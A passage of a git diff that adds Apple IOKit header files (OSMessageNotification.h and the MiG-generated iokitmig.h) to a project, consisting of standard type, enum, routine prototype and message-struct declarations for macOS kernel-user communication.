kIOMapReadOnly = 0x00001000, + + kIOMapStatic = 0x01000000, + kIOMapReference = 0x02000000, + kIOMapUnique = 0x04000000 +}; + +/*! @enum Scale Factors + @discussion Used when a scale_factor parameter is required to define a unit of time. + @constant kNanosecondScale Scale factor for nanosecond based times. + @constant kMicrosecondScale Scale factor for microsecond based times. + @constant kMillisecondScale Scale factor for millisecond based times. + @constant kTickScale Scale factor for the standard (100Hz) tick. + @constant kSecondScale Scale factor for second based times. */ + +enum { + kNanosecondScale = 1, + kMicrosecondScale = 1000, + kMillisecondScale = 1000 * 1000, + kSecondScale = 1000 * 1000 * 1000, + kTickScale = (kSecondScale / 100) +}; + +/* compatibility types */ + + +typedef unsigned int IODeviceNumber; + + +#ifdef __cplusplus +} +#endif + +#endif /* ! __IOKIT_IOTYPES_H */ diff --git a/igor/headers/IOKit/OSMessageNotification.h b/igor/headers/IOKit/OSMessageNotification.h new file mode 100644 index 0000000..7d7b5e5 --- /dev/null +++ b/igor/headers/IOKit/OSMessageNotification.h @@ -0,0 +1,158 @@ +/* + * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. The rights granted to you under the License + * may not be used to create, or enable the creation or redistribution of, + * unlawful or unlicensed copies of an Apple operating system, or to + * circumvent, violate, or enable the circumvention or violation of, any + * terms of an Apple operating system software license agreement. + * + * Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ + */ +/* + * Copyright (c) 1999 Apple Computer, Inc. All rights reserved. + * + * HISTORY + * + */ + +#ifndef __OS_OSMESSAGENOTIFICATION_H +#define __OS_OSMESSAGENOTIFICATION_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include + +enum { + kFirstIOKitNotificationType = 100, + kIOServicePublishNotificationType = 100, + kIOServiceMatchedNotificationType = 101, + kIOServiceTerminatedNotificationType = 102, + kIOAsyncCompletionNotificationType = 150, + kIOServiceMessageNotificationType = 160, + kLastIOKitNotificationType = 199 +}; + +enum { + kOSNotificationMessageID = 53, + kOSAsyncCompleteMessageID = 57, + kMaxAsyncArgs = 16 +}; + +enum { + kIOAsyncReservedIndex = 0, + kIOAsyncReservedCount, + + kIOAsyncCalloutFuncIndex = kIOAsyncReservedCount, + kIOAsyncCalloutRefconIndex, + kIOAsyncCalloutCount, + + kIOMatchingCalloutFuncIndex = kIOAsyncReservedCount, + kIOMatchingCalloutRefconIndex, + kIOMatchingCalloutCount, + + kIOInterestCalloutFuncIndex = kIOAsyncReservedCount, + kIOInterestCalloutRefconIndex, + kIOInterestCalloutServiceIndex, + kIOInterestCalloutCount +}; + + + +// -------------- +enum { + kOSAsyncRef64Count = 8, + kOSAsyncRef64Size = kOSAsyncRef64Count * ((int) sizeof(io_user_reference_t)) +}; +typedef io_user_reference_t OSAsyncReference64[kOSAsyncRef64Count]; + +struct OSNotificationHeader64 { + mach_msg_size_t size; /* content size */ + natural_t type; + OSAsyncReference64 reference; + +#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) + unsigned char content[]; +#else + unsigned char content[0]; +#endif +}; + +#pragma pack(4) +struct IOServiceInterestContent64 { + natural_t messageType; + io_user_reference_t messageArgument[1]; +}; +#pragma pack() +// -------------- + +#if !KERNEL_USER32 + +enum { + kOSAsyncRefCount = 8, + kOSAsyncRefSize = 32 +}; +typedef natural_t OSAsyncReference[kOSAsyncRefCount]; + +struct OSNotificationHeader { + mach_msg_size_t size; /* content size */ + natural_t type; + OSAsyncReference reference; + +#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) + unsigned char content[]; +#else + unsigned char content[0]; +#endif +}; + +#pragma pack(4) +struct IOServiceInterestContent { + natural_t messageType; + void * messageArgument[1]; +}; +#pragma pack() + +#endif /* KERNEL_USER32 */ + +struct IOAsyncCompletionContent { + IOReturn result; +#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) + void * args[] __attribute__ ((packed)); +#else + void * args[0] __attribute__ ((packed)); +#endif +}; + +#ifndef __cplusplus +typedef struct OSNotificationHeader OSNotificationHeader; +typedef struct IOServiceInterestContent IOServiceInterestContent; +typedef struct IOAsyncCompletionContent IOAsyncCompletionContent; +#endif + +#ifdef __cplusplus +} +#endif + +#endif /* __OS_OSMESSAGENOTIFICATION_H */ + diff --git a/igor/headers/IOKit/iokitmig.h b/igor/headers/IOKit/iokitmig.h new file mode 100644 index 0000000..d2f5f62 --- /dev/null +++ b/igor/headers/IOKit/iokitmig.h @@ -0,0 +1,3213 @@ +#if !defined(__LP64__) + +#ifndef _iokit_user_ +#define _iokit_user_ + +/* Module iokit */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef AUTOTEST +#ifndef FUNCTION_PTR_T +#define FUNCTION_PTR_T +typedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t); +typedef struct { + char *name; + function_ptr_t function; +} function_table_entry; +typedef function_table_entry *function_table_t; +#endif /* FUNCTION_PTR_T */ +#endif /* AUTOTEST */ + +#ifndef iokit_MSG_COUNT +#define iokit_MSG_COUNT 68 +#endif /* iokit_MSG_COUNT */ + +#include +#include +#include +#include +#include +#include + +#ifdef __BeforeMigUserHeader +__BeforeMigUserHeader +#endif /* __BeforeMigUserHeader */ + +#include +__BEGIN_DECLS + + +/* Routine io_object_get_class */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_object_get_class +( + mach_port_t object, + io_name_t className +); + +/* Routine io_object_conforms_to */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_object_conforms_to +( + mach_port_t object, + io_name_t className, + boolean_t *conforms +); + +/* Routine io_iterator_next */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_iterator_next +( + mach_port_t iterator, + mach_port_t *object +); + +/* Routine io_iterator_reset */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_iterator_reset +( + mach_port_t iterator +); + +/* Routine io_service_get_matching_services */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_get_matching_services +( + mach_port_t master_port, + io_string_t matching, + mach_port_t *existing +); + +/* Routine io_registry_entry_get_property */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_get_property +( + mach_port_t registry_entry, + io_name_t property_name, + io_buf_ptr_t *properties, + mach_msg_type_number_t *propertiesCnt +); + +/* Routine io_registry_create_iterator */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_create_iterator +( + mach_port_t master_port, + io_name_t plane, + uint32_t options, + mach_port_t *iterator +); + +/* Routine io_registry_iterator_enter_entry */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_iterator_enter_entry +( + mach_port_t iterator +); + +/* Routine io_registry_iterator_exit_entry */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_iterator_exit_entry +( + mach_port_t iterator +); + +/* Routine io_registry_entry_from_path */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_from_path +( + mach_port_t master_port, + io_string_t path, + mach_port_t *registry_entry +); + +/* Routine io_registry_entry_get_name */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_get_name +( + mach_port_t registry_entry, + io_name_t name +); + +/* Routine io_registry_entry_get_properties */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_get_properties +( + mach_port_t registry_entry, + io_buf_ptr_t *properties, + mach_msg_type_number_t *propertiesCnt +); + +/* Routine io_registry_entry_get_property_bytes */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_get_property_bytes +( + mach_port_t registry_entry, + io_name_t property_name, + io_struct_inband_t data, + mach_msg_type_number_t *dataCnt +); + +/* Routine io_registry_entry_get_child_iterator */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_get_child_iterator +( + mach_port_t registry_entry, + io_name_t plane, + mach_port_t *iterator +); + +/* Routine io_registry_entry_get_parent_iterator */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_get_parent_iterator +( + mach_port_t registry_entry, + io_name_t plane, + mach_port_t *iterator +); + +/* Routine io_service_open */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_open +( + mach_port_t service, + task_t owningTask, + uint32_t connect_type, + mach_port_t *connection +); + +/* Routine io_service_close */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_close +( + mach_port_t connection +); + +/* Routine io_connect_get_service */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_get_service +( + mach_port_t connection, + mach_port_t *service +); + +/* Routine io_connect_set_notification_port */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_set_notification_port +( + mach_port_t connection, + uint32_t notification_type, + mach_port_t port, + uint32_t reference +); + +/* Routine io_connect_map_memory */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_map_memory +( + mach_port_t connection, + uint32_t memory_type, + task_t into_task, + vm_address_t *address, + vm_size_t *size, + uint32_t flags +); + +/* Routine io_connect_add_client */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_add_client +( + mach_port_t connection, + mach_port_t connect_to +); + +/* Routine io_connect_set_properties */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_set_properties +( + mach_port_t connection, + io_buf_ptr_t properties, + mach_msg_type_number_t propertiesCnt, + kern_return_t *result +); + +/* Routine io_connect_method_scalarI_scalarO */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_method_scalarI_scalarO +( + mach_port_t connection, + uint32_t selector, + io_scalar_inband_t input, + mach_msg_type_number_t inputCnt, + io_scalar_inband_t output, + mach_msg_type_number_t *outputCnt +); + +/* Routine io_connect_method_scalarI_structureO */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_method_scalarI_structureO +( + mach_port_t connection, + uint32_t selector, + io_scalar_inband_t input, + mach_msg_type_number_t inputCnt, + io_struct_inband_t output, + mach_msg_type_number_t *outputCnt +); + +/* Routine io_connect_method_scalarI_structureI */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_method_scalarI_structureI +( + mach_port_t connection, + uint32_t selector, + io_scalar_inband_t input, + mach_msg_type_number_t inputCnt, + io_struct_inband_t inputStruct, + mach_msg_type_number_t inputStructCnt +); + +/* Routine io_connect_method_structureI_structureO */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_method_structureI_structureO +( + mach_port_t connection, + uint32_t selector, + io_struct_inband_t input, + mach_msg_type_number_t inputCnt, + io_struct_inband_t output, + mach_msg_type_number_t *outputCnt +); + +/* Routine io_registry_entry_get_path */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_get_path +( + mach_port_t registry_entry, + io_name_t plane, + io_string_t path +); + +/* Routine io_registry_get_root_entry */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_get_root_entry +( + mach_port_t master_port, + mach_port_t *root +); + +/* Routine io_registry_entry_set_properties */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_set_properties +( + mach_port_t registry_entry, + io_buf_ptr_t properties, + mach_msg_type_number_t propertiesCnt, + kern_return_t *result +); + +/* Routine io_registry_entry_in_plane */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_in_plane +( + mach_port_t registry_entry, + io_name_t plane, + boolean_t *inPlane +); + +/* Routine io_object_get_retain_count */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_object_get_retain_count +( + mach_port_t object, + uint32_t *retainCount +); + +/* Routine io_service_get_busy_state */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_get_busy_state +( + mach_port_t service, + uint32_t *busyState +); + +/* Routine io_service_wait_quiet */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_wait_quiet +( + mach_port_t service, + mach_timespec_t wait_time +); + +/* Routine io_registry_entry_create_iterator */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_create_iterator +( + mach_port_t registry_entry, + io_name_t plane, + uint32_t options, + mach_port_t *iterator +); + +/* Routine io_iterator_is_valid */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_iterator_is_valid +( + mach_port_t iterator, + boolean_t *is_valid +); + +/* Routine io_make_matching */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_make_matching +( + mach_port_t master_port, + uint32_t of_type, + uint32_t options, + io_struct_inband_t input, + mach_msg_type_number_t inputCnt, + io_string_t matching +); + +/* Routine io_catalog_send_data */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_catalog_send_data +( + mach_port_t master_port, + uint32_t flag, + io_buf_ptr_t inData, + mach_msg_type_number_t inDataCnt, + kern_return_t *result +); + +/* Routine io_catalog_terminate */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_catalog_terminate +( + mach_port_t master_port, + uint32_t flag, + io_name_t name +); + +/* Routine io_catalog_get_data */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_catalog_get_data +( + mach_port_t master_port, + uint32_t flag, + io_buf_ptr_t *outData, + mach_msg_type_number_t *outDataCnt +); + +/* Routine io_catalog_get_gen_count */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_catalog_get_gen_count +( + mach_port_t master_port, + uint32_t *genCount +); + +/* Routine io_catalog_module_loaded */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_catalog_module_loaded +( + mach_port_t master_port, + io_name_t name +); + +/* Routine io_catalog_reset */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_catalog_reset +( + mach_port_t master_port, + uint32_t flag +); + +/* Routine io_service_request_probe */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_request_probe +( + mach_port_t service, + uint32_t options +); + +/* Routine io_registry_entry_get_name_in_plane */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_get_name_in_plane +( + mach_port_t registry_entry, + io_name_t plane, + io_name_t name +); + +/* Routine io_service_match_property_table */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_match_property_table +( + mach_port_t service, + io_string_t matching, + boolean_t *matches +); + +/* Routine io_async_method_scalarI_scalarO */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_async_method_scalarI_scalarO +( + mach_port_t connection, + mach_port_t wake_port, + io_async_ref_t reference, + mach_msg_type_number_t referenceCnt, + uint32_t selector, + io_scalar_inband_t input, + mach_msg_type_number_t inputCnt, + io_scalar_inband_t output, + mach_msg_type_number_t *outputCnt +); + +/* Routine io_async_method_scalarI_structureO */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_async_method_scalarI_structureO +( + mach_port_t connection, + mach_port_t wake_port, + io_async_ref_t reference, + mach_msg_type_number_t referenceCnt, + uint32_t selector, + io_scalar_inband_t input, + mach_msg_type_number_t inputCnt, + io_struct_inband_t output, + mach_msg_type_number_t *outputCnt +); + +/* Routine io_async_method_scalarI_structureI */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_async_method_scalarI_structureI +( + mach_port_t connection, + mach_port_t wake_port, + io_async_ref_t reference, + mach_msg_type_number_t referenceCnt, + uint32_t selector, + io_scalar_inband_t input, + mach_msg_type_number_t inputCnt, + io_struct_inband_t inputStruct, + mach_msg_type_number_t inputStructCnt +); + +/* Routine io_async_method_structureI_structureO */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_async_method_structureI_structureO +( + mach_port_t connection, + mach_port_t wake_port, + io_async_ref_t reference, + mach_msg_type_number_t referenceCnt, + uint32_t selector, + io_struct_inband_t input, + mach_msg_type_number_t inputCnt, + io_struct_inband_t output, + mach_msg_type_number_t *outputCnt +); + +/* Routine io_service_add_notification */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_add_notification +( + mach_port_t master_port, + io_name_t notification_type, + io_string_t matching, + mach_port_t wake_port, + io_async_ref_t reference, + mach_msg_type_number_t referenceCnt, + mach_port_t *notification +); + +/* Routine io_service_add_interest_notification */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_add_interest_notification +( + mach_port_t service, + io_name_t type_of_interest, + mach_port_t wake_port, + io_async_ref_t reference, + mach_msg_type_number_t referenceCnt, + mach_port_t *notification +); + +/* Routine io_service_acknowledge_notification */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_acknowledge_notification +( + mach_port_t service, + natural_t notify_ref, + natural_t response +); + +/* Routine io_connect_get_notification_semaphore */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_get_notification_semaphore +( + mach_port_t connection, + natural_t notification_type, + semaphore_t *semaphore +); + +/* Routine io_connect_unmap_memory */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_unmap_memory +( + mach_port_t connection, + uint32_t memory_type, + task_t into_task, + vm_address_t address +); + +/* Routine io_registry_entry_get_location_in_plane */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_get_location_in_plane +( + mach_port_t registry_entry, + io_name_t plane, + io_name_t location +); + +/* Routine io_registry_entry_get_property_recursively */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_get_property_recursively +( + mach_port_t registry_entry, + io_name_t plane, + io_name_t property_name, + uint32_t options, + io_buf_ptr_t *properties, + mach_msg_type_number_t *propertiesCnt +); + +/* Routine io_service_get_state */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_get_state +( + mach_port_t service, + uint64_t *state, + uint32_t *busy_state, + uint64_t *accumulated_busy_time +); + +/* Routine io_service_get_matching_services_ool */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_get_matching_services_ool +( + mach_port_t master_port, + io_buf_ptr_t matching, + mach_msg_type_number_t matchingCnt, + kern_return_t *result, + mach_port_t *existing +); + +/* Routine io_service_match_property_table_ool */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_match_property_table_ool +( + mach_port_t service, + io_buf_ptr_t matching, + mach_msg_type_number_t matchingCnt, + kern_return_t *result, + boolean_t *matches +); + +/* Routine io_service_add_notification_ool */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_add_notification_ool +( + mach_port_t master_port, + io_name_t notification_type, + io_buf_ptr_t matching, + mach_msg_type_number_t matchingCnt, + mach_port_t wake_port, + io_async_ref_t reference, + mach_msg_type_number_t referenceCnt, + kern_return_t *result, + mach_port_t *notification +); + +/* Routine io_object_get_superclass */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_object_get_superclass +( + mach_port_t master_port, + io_name_t obj_name, + io_name_t class_name +); + +/* Routine io_object_get_bundle_identifier */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_object_get_bundle_identifier +( + mach_port_t master_port, + io_name_t obj_name, + io_name_t class_name +); + +/* Routine io_service_open_extended */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_service_open_extended +( + mach_port_t service, + task_t owningTask, + uint32_t connect_type, + NDR_record_t ndr, + io_buf_ptr_t properties, + mach_msg_type_number_t propertiesCnt, + kern_return_t *result, + mach_port_t *connection +); + +/* Routine io_connect_map_memory_into_task */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_map_memory_into_task +( + mach_port_t connection, + uint32_t memory_type, + task_t into_task, + mach_vm_address_t *address, + mach_vm_size_t *size, + uint32_t flags +); + +/* Routine io_connect_unmap_memory_from_task */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_unmap_memory_from_task +( + mach_port_t connection, + uint32_t memory_type, + task_t from_task, + mach_vm_address_t address +); + +/* Routine io_connect_method */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_method +( + mach_port_t connection, + uint32_t selector, + io_scalar_inband64_t scalar_input, + mach_msg_type_number_t scalar_inputCnt, + io_struct_inband_t inband_input, + mach_msg_type_number_t inband_inputCnt, + mach_vm_address_t ool_input, + mach_vm_size_t ool_input_size, + io_scalar_inband64_t scalar_output, + mach_msg_type_number_t *scalar_outputCnt, + io_struct_inband_t inband_output, + mach_msg_type_number_t *inband_outputCnt, + mach_vm_address_t ool_output, + mach_vm_size_t *ool_output_size +); + +/* Routine io_connect_async_method */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_connect_async_method +( + mach_port_t connection, + mach_port_t wake_port, + io_async_ref64_t reference, + mach_msg_type_number_t referenceCnt, + uint32_t selector, + io_scalar_inband64_t scalar_input, + mach_msg_type_number_t scalar_inputCnt, + io_struct_inband_t inband_input, + mach_msg_type_number_t inband_inputCnt, + mach_vm_address_t ool_input, + mach_vm_size_t ool_input_size, + io_scalar_inband64_t scalar_output, + mach_msg_type_number_t *scalar_outputCnt, + io_struct_inband_t inband_output, + mach_msg_type_number_t *inband_outputCnt, + mach_vm_address_t ool_output, + mach_vm_size_t *ool_output_size +); + +/* Routine io_registry_entry_get_registry_entry_id */ +#ifdef mig_external +mig_external +#else +extern +#endif /* mig_external */ +kern_return_t io_registry_entry_get_registry_entry_id +( + mach_port_t registry_entry, + uint64_t *entry_id +); + +__END_DECLS + +/********************** Caution **************************/ +/* The following data types should be used to calculate */ +/* maximum message sizes only. The actual message may be */ +/* smaller, and the position of the arguments within the */ +/* message layout may vary from what is presented here. */ +/* For example, if any of the arguments are variable- */ +/* sized, and less than the maximum is sent, the data */ +/* will be packed tight in the actual message to reduce */ +/* the presence of holes. */ +/********************** Caution **************************/ + +/* typedefs for all requests */ + +#ifndef __Request__iokit_subsystem__defined +#define __Request__iokit_subsystem__defined + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_object_get_class_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t classNameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t classNameCnt; + char className[128]; + } __Request__io_object_conforms_to_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_iterator_next_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_iterator_reset_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t matchingOffset; /* MiG doesn't use it */ + mach_msg_type_number_t matchingCnt; + char matching[512]; + } __Request__io_service_get_matching_services_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t property_nameCnt; + char property_name[128]; + } __Request__io_registry_entry_get_property_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t planeOffset; /* MiG doesn't use it */ + mach_msg_type_number_t planeCnt; + char plane[128]; + uint32_t options; + } __Request__io_registry_create_iterator_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_registry_iterator_enter_entry_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_registry_iterator_exit_entry_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t pathOffset; /* MiG doesn't use it */ + mach_msg_type_number_t pathCnt; + char path[512]; + } __Request__io_registry_entry_from_path_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_registry_entry_get_name_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_registry_entry_get_properties_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t property_nameCnt; + char property_name[128]; + mach_msg_type_number_t dataCnt; + } __Request__io_registry_entry_get_property_bytes_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t planeOffset; /* MiG doesn't use it */ + mach_msg_type_number_t planeCnt; + char plane[128]; + } __Request__io_registry_entry_get_child_iterator_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t planeOffset; /* MiG doesn't use it */ + mach_msg_type_number_t planeCnt; + char plane[128]; + } __Request__io_registry_entry_get_parent_iterator_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t owningTask; + /* end of the kernel processed data */ + NDR_record_t NDR; + uint32_t connect_type; + } __Request__io_service_open_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_service_close_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_connect_get_service_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t port; + /* end of the kernel processed data */ + NDR_record_t NDR; + uint32_t notification_type; + uint32_t reference; + } __Request__io_connect_set_notification_port_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t into_task; + /* end of the kernel processed data */ + NDR_record_t NDR; + uint32_t memory_type; + vm_address_t address; + vm_size_t size; + uint32_t flags; + } __Request__io_connect_map_memory_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t connect_to; + /* end of the kernel processed data */ + } __Request__io_connect_add_client_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_ool_descriptor_t properties; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t 